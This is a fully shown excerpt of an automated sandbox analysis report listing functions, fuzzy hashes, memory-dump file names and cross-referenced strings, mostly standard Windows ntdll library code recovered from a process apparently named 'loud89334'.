Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Function 00D9FC90 Relevance: .0, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Function 00D9FC48 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction ID: ba27d4cd5f553268e31cb600e7e3d5a3e50323ff6ed211678ad30f7188510e08
Opcode Fuzzy Hash: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction Fuzzy Hash: 39B01272100540C7E319A714D90AB5B7250FF80F00F00893AE10781861DB38992CD456

Function 00D9FC60 Relevance: .0, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Function 00D9FC30 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction ID: bea31e52b4947098166a5853b381437c0ce687cada8622438d1654f6fc3cd67c
Opcode Fuzzy Hash: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction Fuzzy Hash: B2B01272140540C7E3099714DA1AB5B7210FB80F00F008D3AE04781891DB7C9A2CD486

Function 00D9FD8C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Function 00DA1D80 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction ID: c40cb18f784fb740092d7f35057b9839572fe11e4001cfe90af8ac8386c88b07
Opcode Fuzzy Hash: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction Fuzzy Hash: A6B09271508A40C7E204A704D985B46B221FB90B00F408938A04B865A0D72CA928C686

Function 00D9FD5C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction ID: 152fdd420af7dfcc6df86c72954370e6eab1db85fd0a81c34441345ed48de2b3
Opcode Fuzzy Hash: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction Fuzzy Hash: 27B01272141540C7E349A714D90AB6B7220FB80F00F00893AE00781852DB389B2CD98A

Function 00D9FED0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Function 00D9FEA0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Function 00D9FE24 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction ID: 4523e9276363b51c29093556ee00c3605be97a6a096d126b10744d78506899f7
Opcode Fuzzy Hash: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction Fuzzy Hash: E7B012B2104580C7E31A9714D906B4B7210FB80F00F40893AA00B81861DB389A2CD456

Function 00D9FFFC Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction ID: 5af6445773ea8696aa9cd62fdf5509cf1cb9f7b4cf56a5a77559796e3d2133fe
Opcode Fuzzy Hash: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction Fuzzy Hash: 07B012B2240540C7E30D9714D906B4B7250FBC0F00F00893AE10B81850DA3C993CC44B

Function 00D9FFB4 Relevance: .0, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Function 00D9FF34 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction ID: c0177d7ad0d10355b3c7d2619bc7f24452a3c2aab25a1a733e07692cdee9b307
Opcode Fuzzy Hash: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction Fuzzy Hash: B1B012B2200540C7E319D714D906F4B7210FB80F00F40893AB10B81862DB3C992CD45A

Function 00DC8788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

_wcspbrk.LIBCMT ref: 00DC8891
_wcspbrk.LIBCMT ref: 00DC8979
_wcspbrk.LIBCMT ref: 00DC8A61
_wcspbrk.LIBCMT ref: 00DC8A9B
_wcspbrk.LIBCMT ref: 00E11B9C

Strings

WindowsExcludedProcs, xrefs: 00DC87C1
Kernel-MUI-Number-Allowed, xrefs: 00DC87E6
Kernel-MUI-Language-Allowed, xrefs: 00DC8827
Kernel-MUI-Language-SKU, xrefs: 00DC89FC
Kernel-MUI-Language-Disallowed, xrefs: 00DC8914

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: ccdb4ed6ecbc88dfd3dec2c04bce40dfc0da242940c4573a32560d53fbed11dc
Instruction ID: 08608e506cd0ef13c4770924ca70e0a8f57f3646f82980f8b8f59e793b62ba71
Opcode Fuzzy Hash: ccdb4ed6ecbc88dfd3dec2c04bce40dfc0da242940c4573a32560d53fbed11dc
Instruction Fuzzy Hash: 9EF1C4B2D0024AEFCF11EF95C981EEEB7B9FF08304F14446AE605A7211EB349A45DB61

Function 00E3822C Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00E38240
_wcsnlen.LIBCMT ref: 00E3825C

Strings

DynamicDaylightTimeDisabled, xrefs: 00E383C1
StandardStart, xrefs: 00E382E5
StandardBias, xrefs: 00E382C7
DaylightBias, xrefs: 00E38324
TimeZoneKeyName, xrefs: 00E3836A, 00E3839B
StandardName, xrefs: 00E382A8
DaylightStart, xrefs: 00E38341
Bias, xrefs: 00E38282
DaylightName, xrefs: 00E38309

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: 4cb44f04a6b94d0e564951166813913a6f444a3d64728b5a41aac8809640d955
Instruction ID: 1a3761e84e1946cd51c89340bdb4c908afa0d2c2705205de124a0ecbcf649cfe
Opcode Fuzzy Hash: 4cb44f04a6b94d0e564951166813913a6f444a3d64728b5a41aac8809640d955
Instruction Fuzzy Hash: A6418176241309BEEB019AA0CE46FEE7BECAF04B44F105162BA04F6191DBB0DA54D7A4

Function 00DE13CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00DE146B
___swprintf_l.LIBCMT ref: 00DE1490
___swprintf_l.LIBCMT ref: 00E0E970

Strings

:%u.%u.%u.%u, xrefs: 00E0E9F4
::ffff:0:%u.%u.%u.%u, xrefs: 00E0E9B0
ffff:, xrefs: 00E0E94B
::%hs%u.%u.%u.%u, xrefs: 00E0E967

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 50390ab0c9d42835c3b84f038dfa42f77ef0d84ddcf615b6d6b3062cb1e3cd8f
Instruction ID: 2fcf25499694774aaa9ed11d5855ea0b64aff4e0edf5b641453290be70652611
Opcode Fuzzy Hash: 50390ab0c9d42835c3b84f038dfa42f77ef0d84ddcf615b6d6b3062cb1e3cd8f
Instruction Fuzzy Hash: 8E613975A00695AACF34EF5AC8908BEBBB5EFD5300758C56EE4D657780D334AA80CB70

Function 00E43B8E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00E43C2C
___swprintf_l.LIBCMT ref: 00E43C68
___swprintf_l.LIBCMT ref: 00E43D09
___swprintf_l.LIBCMT ref: 00E43D31
___swprintf_l.LIBCMT ref: 00E43D56
___swprintf_l.LIBCMT ref: 00E43D8D

Strings

::%hs%u.%u.%u.%u, xrefs: 00E43C23
:%u.%u.%u.%u, xrefs: 00E43D84
ffff:, xrefs: 00E43C06, 00E43C22
::ffff:0:%u.%u.%u.%u, xrefs: 00E43C5F

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: f821a1b73a0f65bd8a076c066c36c4f9322d7ac8e763674d2e6413b1adf0f1c2
Instruction ID: a26940f8f87dabcbd9dfd43c86eeebe0691eb2966028bdaf3ad84d714adb813d
Opcode Fuzzy Hash: f821a1b73a0f65bd8a076c066c36c4f9322d7ac8e763674d2e6413b1adf0f1c2
Instruction Fuzzy Hash: 4261C472900644AFCF20DFA9D8814BEBBF5EF54324B14D52AF8A9B7141E330EB409B60

Function 00DD7EFD Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00DF3F12

Strings

CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 00DFE2FB
CLIENT(ntdll): Processing section info %ws..., xrefs: 00DFE345
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00DF3F4A
ExecuteOptions, xrefs: 00DF3F04
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00DF3F75
Execute=1, xrefs: 00DF3F5E
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00DF3EC4

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
